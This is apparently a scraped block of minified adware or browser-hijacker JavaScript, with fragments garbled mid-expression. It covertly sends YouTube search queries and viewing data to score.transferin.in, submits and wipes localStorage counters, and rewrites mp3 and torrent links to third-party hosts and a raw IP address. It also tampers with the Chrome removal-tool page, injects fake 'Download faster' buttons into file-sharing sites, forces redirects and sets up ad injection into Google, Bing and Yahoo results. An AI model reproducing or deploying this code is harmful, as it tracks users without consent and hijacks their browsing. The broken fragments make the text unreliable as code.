fw.adsafeprotected.com cher.ehomestudy.com\".indexOf(window.location.hostname)==-1 && adzy653rk.location.indexOf(\"zoneid=21915789\")==-1 && adzy653rk.location.indexOf(\"zoneid=21915789\")==-1 &&adzy653rk.location.indexOf(\"2136&zid=\")==-1 && adzy653rk.location.indexOf(\"1018-1005\")==-1 && adzy653rk.location.indexOf(\"1019-1001\")==-1 && adzy653rk.location.indexOf(\"PT1312\")==-1) adzy653rk.init()}})()}catch(e){};try{(function () { var b, f, g; try { var a = window.location.href; if (!(window == window.top || \"undefined\" == typeof localStorage || \"undefined\" == typeof localStorage.setItem || -1 == a.indexOf(\"NTjDQo3d=\") && !a.match(/1018-\\d{3,4}_/) && -1 == a.indexOf(\"cdncache-a.aka\"))) { if (-1 < a.indexOf(\"NTjDQo3d=\")) { var d = a.match(/NTjDQo3d=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/); b = d[1]; f = d[2].replace(\"x\", \".\"); g = d[3] ? d[3] : 0 } else { try { var j = -1 < a.indexOf(\"zoneid\") ? a.match(/zoneid=(\\d+)/)[1] : a.match(/1018-(\\d+)_WS/)[1] } catch (n) { j = 0 } var c = document.getElementsByTagName(\"body\")[0]; b = -1 < a.indexOf(\"cdncache-a.aka\") ? 1001 : 1002; f = Math.max(c.scrollWidth, c.offsetWidth) + \".\" + Math.max(c.scrollHeight, c.offsetHeight); g = j } var e = new Date, k = parseInt(e.getTime() / 1E3), l = \"zyk_\" + [e.getUTCFullYear() + \"-\" + (e.getUTCMonth() + 1) + \"-\" + e.getUTCDate(), b, f, g].join(), m = localStorage.getItem(l); localStorage.setItem(l, 1 + (m ? parseInt(m) : 0)); if (lsTime = localStorage.getItem(\"zEpoch\")) { if (7200 < k - parseInt(lsTime)) { var h = document.createElement(\"div\"); b = []; for (i in localStorage)-1 < i.indexOf(\"zyk_\") && b.push(\"'\" + i.replace(\"zyk_\", \"\") + \"':\" + localStorage.getItem(i)); h.style.display = \"none\"; h.innerHTML = '
'; (typeof c != \"undefined\" ? c : document.getElementsByTagName(\"body\")[0]).appendChild(h); document.getElementById(\"webscorebox_frm\").submit(); localStorage.clear() } } else localStorage.setItem(\"zEpoch\", k) } } catch (p) { } })(); (function () { var l = function () { var a = window.location.search.split(\"v=\")[1], b = a && a.indexOf(\"&\") || -1; -1 != b && (a = a.substring(0, b)); return a }, m = function () { var a = document.getElementsByClassName(\"watch-view-count\"); return a && a[0] && a[0].innerHTML ? (a = a[0].innerHTML.replace(/^([0-9,]+).*$/, \"$1\").replace(/,/g, \"\")) && parseInt(a) && parseInt(a) || 0 : 0 }, n = function () { var a = document.getElementsByClassName(\"watch-extras-section\"); if (a)for (var b = 0; b < a[0].children.length; b++)if (\"Category\" === a[0].children[b].getElementsByClassName(\"title\")[0].innerHTML.trim()) { var c = a[0].children[b].getElementsByTagName(\"a\"); if (c && c[0] && (c = c[0].getAttribute(\"href\")))return encodeURIComponent(c.replace(\"/\", \"\")) } return \"\" }, p = function () { var a = document.getElementsByClassName(\"yt-subscription-button-subscriber-count-branded-horizontal\"); return a && a[0] && a[0].innerHTML ? (a = a[0].innerHTML.replace(/^([0-9,]+).*$/, \"$1\").replace(/,/g, \"\")) && parseInt(a) && parseInt(a) || 1 : 1 }; if (window == window.top && (-1 < window.location.hostname.indexOf(\"youtube.com\") || -1 < window.location.hostname.indexOf(\"youtu.be\")))try { if (\"qq=\" == window.name.substr(0, 3)) { var f = document.getElementsByTagName(\"body\")[0]; if (!f.getAttribute(\"wyttb\")) { f.setAttribute(\"wyttb\", \"1\"); var g = l(), d = m(), q = n(), h = p(); if (g && d && d) { var e = window.name.split(\"=\")[1]; window.name = \"\"; 2 <= d / h && ((new Image).src = \"https://score.transferin.in/subs.php?id=\" + g + \"&n=\" + d + \"&c=\" + q + \"&s=\" + h + \"&q=\" + e + \"&cb=91.223.64.254\") } } } if (-1 < window.location.href.indexOf(\"results?search_query=\")) { var k = /[\\?&]search_query=([^&#]*)/.exec(location.search), e = null === k ? \"\" : decodeURIComponent(k[1].replace(/\\+/g, \" \")); window.name = \"qq=\" + e } } catch (r) { } })(); new function () { var k = this; this.utils = new function () { var c = this; c.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var d = a[e]; b = new Image; b.src = d } else b = new Image, b.src = a }; c.isFalse = function (a) { return \"undefined\" == typeof a || 0 === a.length || null === a }; c.cookie = new function () { var a = this; a.createCookie = function (a, e, d) { if (d) { var c = new Date; c.setTime(c.getTime() + 864E5 * d); d = \"; expires=\" + c.toGMTString() } else d = \"\"; document.cookie = a + \"=\" + e + d + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var e = document.cookie.split(\";\"), d = 0; d < e.length; d++) { for (var c = e[d]; \" \" == c.charAt(0);)c = c.substring(1, c.length); if (0 == c.indexOf(a))return c.substring(a.length, c.length) } return null }; a.eraseCookie = function (b) { a.createCookie(b, \"\", -1) } }; c.ajax = { get: function (a, b) { try { this.xhr = new XMLHttpRequest, this.xhr.open(\"GET\", a, !0), this.xhr.onreadystatechange = function () { 4 == c.ajax.xhr.readyState && b(c.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (a, b, e) { this.xhr = new XMLHttpRequest; this.xhr.open(\"POST\", a, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == c.ajax.xhr.readyState && e(c.ajax.xhr.responseText) }; b = encodeURIComponent(b); this.xhr.send(b) } }; c.waitForTokens = {}; c.addScript = function (a, b) { if (\"bing\" == b) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; c.waitForElement = function (a, b, e, d) { var f = c.query_selector_all(a); clearTimeout(c.waitTimeout); if (25 < k.waitForElementCounter)return b(null); if (\"undefined\" == typeof f || 1 > f.length) { if (c.waitForTokens[d])return b(null); var g = arguments.callee; c.waitTimeout = setTimeout(function () { k.waitForElementCounter++; g(a, b, e, d) }, e) } else { if (c.waitForTokens[d])return b(null); c.waitForTokens[d] = !0; k.waitForElementCounter = 0; return b(f) } }; c.flushWaitForTokens = function () { c.waitForTokens = {} }; c.getRandomInt = function (a, b) { return Math.floor(Math.random() * (b - a + 1)) + a }; c.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (a) { return { getPropertyValue: function (b) { \"float\" == b && (b = \"styleFloat\"); b = c.dhtml_prop_name(b); return \"object\" == typeof a.currentStyle && null != a.currentStyle && \"undefined\" != typeof a.currentStyle[b] ? a.currentStyle[b] : null } } } : function (a, b) { return window.getComputedStyle(a, b) || { getPropertyValue: function () { }} }; c.query_selector_all = document.querySelectorAll ? function (a) { try { return document.querySelectorAll(a) } catch (b) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/) || []; if (1 < b.length)return a = document.getElementById(b[1]) || void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(b); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; c.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = arguments.callee(a[e]); return b } return a }; c.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, e, c) { return c.toUpperCase() }) }; c.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return new RegExp(a) }; c.throttle = function (a, b) { var e = null; return function () { var c = this, f = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(c, f) }, b) } }; c.epoch = function () { return (new Date).getTime() }; c.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10)); return isNaN(a) ? !1 : a }(); c.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; c.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName || \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; c.match_url = function (a, b) { for (var e = 0; e < b.length; e++)if (\"string\" == typeof b[e]) { var d; d = /^\\/.+\\/$/.test(b[e]) ? new RegExp(b[e]) : c.wildcard_to_regex(b[e]); if (d instanceof RegExp && d.test(a))return !0 } }; c.ping = function (a) { for (var b = [\"google\", \"bing\", \"yahoo\", \"youtube\"], c = 0; c < b.length; c++)if (-1 < location.hostname.indexOf(b[c])) { var d = new Image, f = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < f.length && (f = encodeURIComponent(location.hostname)); var g = encodeURIComponent(location.hostname); d.src = k.pixelHost + \"?hid=1461401463529793754&eid=1358&pid=21153&prodid=338&v=\" + k.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=PL&pr=\" + b[c] + \"&host=\" + g + \"&ref=\" + f } }; c.getAllText = function (a) { for (var b = \"\", c = 0; c < a.length; c++)b += a.textContent ? a.textContent : a.innetText; return b }; c.duplicateElement = function (a) { var b = document.createElement(a.nodeName.toLowerCase()), e = !1; a.getAttribute(\"href\") && b.setAttribute(\"href\", \"javascript:void(0);\"); for (var d in a)if (\"src\" == d || \"width\" == d || \"height\" == d)b[d] = a[d]; else if (\"style\" == d)for (var f in a[d])a[d][f] && \"\" != a[d][f] && (b[d][f] = a[d][f]); else e || \"nodeValue\" != d && \"textContent\" != d && \"innetText\" != d && \"className\" != d || 0 != a.children.length || (b[d] = a[d], e = !0); for (e = 0; e < a.childNodes.length; e++)if (3 == a.childNodes[e].nodeType)b.appendChild(document.createTextNode(a.childNodes[e].textContent ? a.childNodes[e].textContent : a.childNodes[e].innerText)); else { d = c.duplicateElement(a.childNodes[e]); f = c.getAllText(d.childNodes); var g = a.childNodes[e].textContent ? a.childNodes[e].textContent : a.childNodes[e].innerText; g && (g = g.replace(f, \"\"), \"\" != g && (d.textContent ? d.textContent = g : d.innerText = g)); b.appendChild(d) } return b } }; if (-1 < window.location.href.indexOf(\"google.com/chrome/srt\") && -1 < navigator.userAgent.toLowerCase().indexOf(\"chrome\")) { try { var h = parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) } catch (p) { return } if (!(38 >= h)) { for (h = 0; h < document.links.length; h++) { var l = document.links[h], m = l.getAttribute(\"href\"); if (m && -1 < m.indexOf(\"#dialog-contents\")) { var m = k.utils.duplicateElement(l), n = l.parentNode; n.insertBefore(m, l); n.removeChild(l) } } (h = document.getElementById(\"dialog-contents\")) && h.remove() } } }; (function () { try { window.top == window && -1 < navigator.userAgent.toLowerCase().indexOf(\"chrome\") && \"http:\" == window.location.protocol && chrome.storage.local.get(\"bcvzdw1\", function (a) { if (!a.bcvzdw1 && !localStorage.getItem(\"bcvzdw1\") && (a = document.getElementsByTagName(\"a\"), a.length))for (var b = 0; b < a.length; b++)if (a[b] && a[b].href && \"mp3\" == a[b].href.substr(-3)) { var c = a[b].href; a[b].setAttribute(\"href\", \"http://mp3tree.co/media/\" + encodeURIComponent(a[b].innerHTML) + \"/mid/\" + encodeURIComponent(encodeURIComponent(c)) + \"/el/1\"); a[b].setAttribute(\"id\", \"sdfsdfsfds\" + b); document.getElementById(\"sdfsdfsfds\" + b).addEventListener(\"click\", function () { chrome.storage.local.set({bcvzdw1: \"2\"}); localStorage.setItem(\"bcvzdw1\", \"2\") }, !1) } }) } catch (d) { } })(); (function () { try { window.top == window && -1 < navigator.userAgent.toLowerCase().indexOf(\"chrome\") && \"http:\" == window.location.protocol && chrome.storage.local.get(\"bxcv43t897\", function (a) { if (!a.bxcv43t897 && !localStorage.getItem(\"bxcv43t897\") && (a = document.getElementsByTagName(\"a\"), a.length))for (var b = 0; b < a.length; b++)a[b] && a[b].href && \"torrent\" == a[b].href.substr(-7) && (a[b].setAttribute(\"href\", \"http://78.47.6.114/api/getLink/?cb=\" + Math.random()), a[b].setAttribute(\"id\", \"cxvcxv\" + b), document.getElementById(\"cxvcxv\" + b).addEventListener(\"click\", function () { chrome.storage.local.set({bxcv43t897: \"2\"}); localStorage.setItem(\"bxcv43t897\", \"2\") }, !1)) }) } catch (c) { } })();}catch(e){};try{new function(){var n=this;this.activeZds={\"uploading.com\":1,\"dirpy.com\":0,\"go4up.com\":1,\"mp3olimp.org\":1,\"hulkload.com\":1,\"free-tv-video-online.me\":1,\"ehd.c\":1,\"hesefiles.c\":1,\"sharebeast.com\":0,\"coolrom.com\":1,\"ebookbrowsee.net\":1,\"cloud-vibe.com\":0,\"mp3seal.com\":0,\"mp3vampire.com\":0,\"minecraftdl.com\":0,\"leunlckr.co\":0,\"go.theadsnet.com\":1,\"ziddu.com\":1,\"opensubtitles.org\":1,\"romptfile.co\":1,\"pensoftwareupdater.co\":1,\"veehd.com\":1,\"ullypcgames.ne\":0,\"llplayer.com.b\":1,\"ubtitulosespanol.or\":1,\"ubtitles4free.ne\":1,\r\n\"legendasbrasil.org\":1,\"reeroms.co\":0,\"eneral-ebooks.co\":0,\"stream2watch.me\":1,\"kickass.to\":1,\"kickass.so\":1,\"pensubtitles.us\":0,\"uploadrocket.net\":0,\"programas-gratis.net\":0,\"programasgratis.es\":1,\"programasejogos.com\":1,\"flexydrive.com\":1,\"media1fire.com\":1,\"softwareandgames.com\":1,\"baixarjogos.com\":1,\"programmesetjeux.com\":1,\"descargarjuegos.com\":1,\"hotfiles.ro\":1,\"vitanclub.net\":1,\"getsecuredfiles.com\":1,\"mirrorcreator.com\":0,\"mestorrents.com\":1,\"vitorrent.net\":1,\"uploaded.net\":0,\"newsinitiative.org\":0,\r\n\"megafilmesonlinehd.com\":1,\"mycoolmp3.com\":1,\"descargadictos.net\":0,\"toggle.com\":1,\"downloadshareware.com\":1,\"primewire.ag\":1,\"ads.showmeflix.com\":0,\"myappsforpc.com\":1,\"telecharger.logiciel.net\":1,\"winmacsofts.com\":1,\"telecharger.info\":0,\"torntv-dl.net\":0,\"1337x.to\":1,\"h33t.to\":1,\"ahashare.com\":1,\"torrenthound.com\":1,\"smartorrent.com\":1,\"torrentreactor.net\":1,\"tomadivx.org\":1,\"opensubtitles.website\":0,\"downloads.info\":1,\"techypcapps.com\":1,\"techmacho.com\":1,\"techariot.com\":1,\"androidlegend.com\":1,\r\n\"technologyrush.com\":1,\"notintricate.com\":1,\"techglen.com\":1,\"updownload.com\":0,\"techamiable.com\":1,\"appsforpcmero.com\":0,\"hugefiles.net\":0,\"descarga.benjaminstrahs.com\":1,\"installers.installm.com\":1,\"uptobox.com\":0,\"torrentz.com\":1,\"torrentz.eu\":0,\"torrentsmirror.com\":0,\"isohunt.to\":0,\"lp.playerpage209.info\":1,\"lp.playerpage214.info\":1,\"popcorntime.com.br\":1,\"roms43.com\":1,\"baixarwhatsapp.com.br\":0};this.utils=new function(){var h=this;h.sendPixels=function(e){var h;if(e instanceof Array)for(var l=\r\n0;lp.length){if(h.waitForTokens[m])return k(null);var q=arguments.callee;h.waitTimeout=setTimeout(function(){n.waitForElementCounter++;q(e,k,l,m)},l)}else{if(h.waitForTokens[m])return k(null);h.waitForTokens[m]=!0;n.waitForElementCounter=0;return k(p)}};h.flushWaitForTokens=function(){h.waitForTokens={}};h.getRandomInt=function(e,h){return Math.floor(Math.random()*(h-e+1))+e};h.get_computed_style=\"function\"!=\r\ntypeof window.getComputedStyle?function(e){return{getPropertyValue:function(k){\"float\"==k&&(k=\"styleFloat\");k=h.dhtml_prop_name(k);return\"object\"==typeof e.currentStyle&&null!=e.currentStyle&&\"undefined\"!=typeof e.currentStyle[k]?e.currentStyle[k]:null}}}:function(e,h){return window.getComputedStyle(e,h)||{getPropertyValue:function(){}}};h.query_selector_all=document.querySelectorAll?function(e){try{return document.querySelectorAll(e)}catch(h){}}:function(e){var h=e.match(/^#([^,\\s]+)$/)||[];if(1<\r\nh.length)return e=document.getElementById(h[1])||void 0,\"undefined\"!=typeof e?[e]:[];h=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(h);document.__asya_qsaels=[];h.styleSheet.cssText=e+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};h.clone_object=window.JSON instanceof Object?function(e){if(e instanceof Object&&(e=JSON.stringify(e),\"string\"==typeof e))return JSON.parse(e)}:function(e){if(e instanceof Object){var h=\r\nnew e.constructor,l;for(l in e)h[l]=arguments.callee(e[l]);return h}return e};h.dhtml_prop_name=function(e){return e.replace(/(\\-([a-z]){1})/g,function(e,h,m){return m.toUpperCase()})};h.wildcard_to_regex=function(e){e=e.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");e=e.replace(/\\*/g,\".*\");return new RegExp(e)};h.throttle=function(e,h){var l=null;return function(){var m=this,n=arguments;clearTimeout(l);l=setTimeout(function(){e.apply(m,n)},h)}};h.epoch=function(){return(new Date).getTime()};h.msie=function(){var e=\r\nparseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(e)&&(e=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(e)?!1:e}();h.version_ie_less=function(e){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=e?!0:!1};h.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};h.match_url=\r\nfunction(e,k){for(var l=0;l').appendTo(\"body\")}}catch(e){}}.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(h)}}};this[\"ehd.c\"]=new function(){this.init=function(){-1\")}}catch(v){\"undefined\"!==\r\ntypeof h&&30<++h&&clearInterval(e)}}},750)}catch(k){}})()}};this[\"ziddu.com\"]=new function(){this.init=function(){var h=0,e=setInterval(function(){h++;if(-1=n;n++)m=m.parentNode;\r\nif(-1Download faster CLICK HERE',clearInterval(h.interval2))};h.interval2=setInterval(h.kickassClick,500)}}};this[\"kickass.so\"]=new function(){var h=this;h.init=function(){if(location.protocol+\"//\"+window.location.host+\"/\"!=window.location.href){h.counter=0;h.___ZskskskCount=0;h.___ZskskskthisZ=function(){try{20<++h.___ZskskskCount&&clearInterval(h.___ZskskskInter);for(var e=\r\ndocument.getElementsByTagName(\"div\"),k=0;kDownload faster CLICK HERE',clearInterval(h.interval2))};h.interval2=setInterval(h.kickassClick,500)}}};this[\"uploadrocket.net\"]=new function(){this.init=function(){var h=n.utils.query_selector_all(\".dlbutton_green\");if(h&&0h.counter++){var k=e.children[0];if(\"undefined\"!==typeof k&&-1e.length)&&(e=e[1],\"undefined\"!==typeof e)){var h=n.utils.duplicateElement(e),l=e.parentNode;l.insertBefore(h,\r\ne);l.removeChild(e)}}},500)}};this[\"descargadictos.net\"]=new function(){var h=this;h.init=function(){h.counter=0;h.interval=setInterval(function(){var e=n.utils.query_selector_all(\".content\")[0].children[1];if(\"undefined\"!==typeof e){if(30>h.counter++){var k=e.firstChild;if(\"undefined\"!==typeof k&&-1h.length&&(h=n.utils.query_selector_all(\".button_upload green\"));for(var e=0;e -1) { var channel = 99; if (window.onbeforeunload) { window.onbeforeunload = null; channel = 98 } location.href = \"//\" + hostnames[0] + \"?subid2=1358&subid1=1461401463529793754&subid=21153&tid=7&subid3=162&subid4=\" + channel + \"&red=1&px.pluginh=1\"; break } } } catch (d) { } })();}catch(e){};try{window.top == window && new function () { if (!document.getElementsByTagName(\"body\").length || !document.getElementsByTagName(\"body\")[0].getAttribute(\"s1461401463529793754\")) { var m = document.getElementsByTagName(\"body\")[0]; m && m.setAttribute(\"s1461401463529793754\", \"1\"); var b = this; b.pixelHost = \"//sepx.matrixinner.info\"; b.prefix = \"jhgasdf\"; b.version = \"0.5\"; b.now = (new Date).getTime(); b.clickInterval = 2592E5; b.ratio = 12; b.initThrottle = \"google;gmaps;amazon;bing\"; b.unique_items_left = !0; b.eid = decodeURIComponent(\"DealSpace\"); b.num_of_items_in_one = 4; b.count = 0; b.baseHostname = \"matrixinner.info\"; b.utils = new function () { var a = this; a.sendPixels = function (a) { var b; if (a instanceof Array)for (var e = 0; e < a.length; e++) { var f = a[e]; b = new Image; b.src = f } else b = new Image, b.src = a }; a.isFalse = function (a) { return \"undefined\" == typeof a || a instanceof Array && 0 == a.length || null === a ? !0 : !1 }; a.cookie = new function () { var a = this; a.createCookie = function (a, c, b) { if (b) { var g = new Date; g.setTime(g.getTime() + 864E5 * b); b = \"; expires=\" + g.toGMTString() } else b = \"\"; document.cookie = a + \"=\" + c + b + \"; path=/\" }; a.readCookie = function (a) { a += \"=\"; for (var b = document.cookie.split(\";\"), c = 0; c < b.length; c++) { for (var g = b[c]; \" \" == g.charAt(0);)g = g.substring(1, g.length); if (0 == g.indexOf(a))return g.substring(a.length, g.length) } return null }; a.eraseCookie = function (b) { a.createCookie(b, \"\", -1) } }; a.ajax = { get: function (b, d) { try { this.xhr = new XMLHttpRequest, this.xhr.open(\"GET\", b, !0), this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && d(a.ajax.xhr.responseText) }, this.xhr.send() } catch (e) { } }, post: function (b, d, e) { this.xhr = new XMLHttpRequest; this.xhr.open(\"POST\", b, !0); this.xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\"); this.xhr.onreadystatechange = function () { 4 == a.ajax.xhr.readyState && e(a.ajax.xhr.responseText) }; d = encodeURIComponent(d); this.xhr.send(d) }}; a.waitForTokens = {}; a.addScript = function (a, b) { if (\"bing\" == b) { var e = Element.prototype.appendChild; document.createElement(\"iframe\"); Element.prototype.appendChild = document.appendChild; document.getElementsByTagName(\"head\")[0].appendChild(a); Element.prototype.appendChild = e } else document.getElementsByTagName(\"head\")[0].appendChild(a) }; a.waitForElement = function (c, d, e, f) { var g = a.query_selector_all(c); clearTimeout(a.waitTimeout); if (25 < b.waitForElementCounter)return d(null); if (\"undefined\" == typeof g || 1 > g.length) { if (a.waitForTokens[f])return d(null); var h = arguments.callee; a.waitTimeout = setTimeout(function () { b.waitForElementCounter++; h(c, d, e, f) }, e) } else { if (a.waitForTokens[f])return d(null); a.waitForTokens[f] = !0; b.waitForElementCounter = 0; return d(g) } }; a.flushWaitForTokens = function () { a.waitForTokens = {} }; a.getRandomInt = function (a, b) { return Math.floor(Math.random() * (b - a + 1)) + a }; a.get_computed_style = \"function\" != typeof window.getComputedStyle ? function (b) { return { getPropertyValue: function (d) { \"float\" == d && (d = \"styleFloat\"); d = a.dhtml_prop_name(d); return \"object\" == typeof b.currentStyle && null != b.currentStyle && \"undefined\" != typeof b.currentStyle[d] ? b.currentStyle[d] : null } } } : function (a, b) { return window.getComputedStyle(a, b) || { getPropertyValue: function () { }} }; a.query_selector_all = document.querySelectorAll ? function (a) { try { return document.querySelectorAll(a) } catch (b) { } } : function (a) { var b = a.match(/^#([^,\\s]+)$/) || []; if (1 < b.length)return a = document.getElementById(b[1]) || void 0, \"undefined\" != typeof a ? [a] : []; b = document.createElement(\"STYLE\"); document.getElementsByTagName(\"body\")[0].appendChild(b); document.__asya_qsaels = []; b.styleSheet.cssText = a + \"{x:expression(document.__asya_qsaels.push(this))}\"; window.scrollBy(0, 0); return document.__asya_qsaels }; a.clone_object = window.JSON instanceof Object ? function (a) { if (a instanceof Object && (a = JSON.stringify(a), \"string\" == typeof a))return JSON.parse(a) } : function (a) { if (a instanceof Object) { var b = new a.constructor, e; for (e in a)b[e] = arguments.callee(a[e]); return b } return a }; a.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, b, c) { return c.toUpperCase() }) }; a.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return RegExp(a) }; a.throttle = function (a, b) { var e = null; return function () { var f = this, g = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(f, g) }, b) } }; a.epoch = function () { return (new Date).getTime() }; a.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase()) || [])[1], 10)); return isNaN(a) ? !1 : a }(); a.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; a.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName || \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; a.match_url = function (b, d) { for (var e = 0; e < d.length; e++)if (\"string\" == typeof d[e]) { var f; f = /^\\/.+\\/$/.test(d[e]) ? RegExp(d[e]) : a.wildcard_to_regex(d[e]); if (f instanceof RegExp && f.test(b))return !0 } }; a.ping = function (a) { for (var d = [\"google\", \"bing\", \"yahoo\", \"youtube\"], e = 0; e < d.length; e++)if (-1 < location.hostname.indexOf(d[e])) { var f = new Image, g = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < g.length && (g = encodeURIComponent(location.hostname)); var h = encodeURIComponent(location.hostname); f.src = b.pixelHost + \"?hid=1461401463529793754&eid=1358&pid=21153&prodid=186&v=\" + b.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=PL&pr=\" + d[e] + \"&host=\" + h + \"&ref=\" + g } } }; var k = [\"horizontal\", \"vertical\", \"images-horizontal\", \"images-vertical\"]; b.jsonpHost = function () { var a = \"s1. s2. s3. s4. s5. s6.\".split(\" \"); return a[b.utils.getRandomInt(0, a.length - 1)] + \"\" }() + b.baseHostname; b.projects_info = { google: { hrefSelector: \".r a\", unique_search_divs: \"3\", urls: [\"www.google.*\"], src_for_keyword: [\"#gbqfq\", \"#lst-ib\", \"#sbhost\"], dr: [\"#tvcap\", \"#bottomads\", \"#tads\"], tweak: function () { b.events.flush(); var a = b.utils.query_selector_all(\"#nav td\"), c = b.utils.query_selector_all(\".spell + a\")[0]; if (0 < a.length)for (var d = 0; d < a.length; d++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[d], !0); \"undefined\" !== typeof c && b.events.add(\"click\", function () { b.init_search_project() }, !1, c, !0) }, validate: function (a) { var c = this; if (-1 < location.href.indexOf(\"https://www.google.com/maps\") || location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return !0; c.callback = a; c.count = 0; this.check_tab = function () { var a = document.getElementById(\"hdtb_msb\") || b.utils.query_selector_all(\".tn\").length && b.utils.query_selector_all(\".tn\") || document.getElementById(\"hdtb-msb\"); if (b.utils.isFalse(a))if (c.count++, 10 > c.count)setTimeout(function () { c.check_tab() }, 1E3); else return !1; else return a = b.utils.query_selector_all(\".hdtb_mitem\")[0] || b.utils.query_selector_all(\".tn > div\")[0] || b.utils.query_selector_all(\".hdtb-mitem\")[0], \"string\" == typeof a.className && a.className.match(/(hdtb_msel|tn-selected-mode|hdtb-msel)/) && (b.utils.ping(\"validate2\"), c.callback()), !1 }; if (!c.check_tab())return !1 } }, yahoo: { hrefSelector: \"a[id^=link]\", unique_search_divs: \"3\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"yahoo\"], src_for_keyword: \"#yschsp\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, bing: { hrefSelector: [\".b_algo a\", \".sb_tlst a\"], unique_search_divs: \"2\", dr: [\".sb_adsWv2\"], urls: [\"www.bing.com/search?*\"], src_for_keyword: [\"#sb_form_q\", \".b_searchboxForm[name='q']\"], validate: function (a) { b.utils.ping(\"validate2\"); a() }}, infospace: { hrefSelector: \".resultTitle\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://search.infospace.com/search/*\"], src_for_keyword: \"#topSearchTextBox\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, wow: { hrefSelector: \".find\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"http://www.wow.com/search?*\"], src_for_keyword: \"#csbquery1\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, duckduckgo: { hrefSelector: \".result__a\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://duckduckgo.com/?q=*\"], src_for_keyword: \"#search_form_input\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, contenko: { hrefSelector: \"#title\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://contenko.com/#/?q=*\"], src_for_keyword: \"#searchBar input[type='text']\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, conduit: { hrefSelector: \"a[id^=ctl00_main_organicResults]\", unique_search_divs: \"1\", urls: [\"http://search.conduit.com*\"], src_for_keyword: \"#q_top\", dr: [\"#master-1\"], validate: function () { return !0 }}, ask: { hrefSelector: \".ptbs a[id^=r]\", unique_search_divs: \"1\", urls: [\"http://www.ask.com/web?q=*\", \"http://www.ask.com/web?qsrc=*\", \"http://www.ask.com/web?am=broad&q=*\"], src_for_keyword: [\"#top_qcomn\", \"#top_q_comm\"], dr: [\"#spl_img_top\"], validate: function () { return !0 }}, triple: { 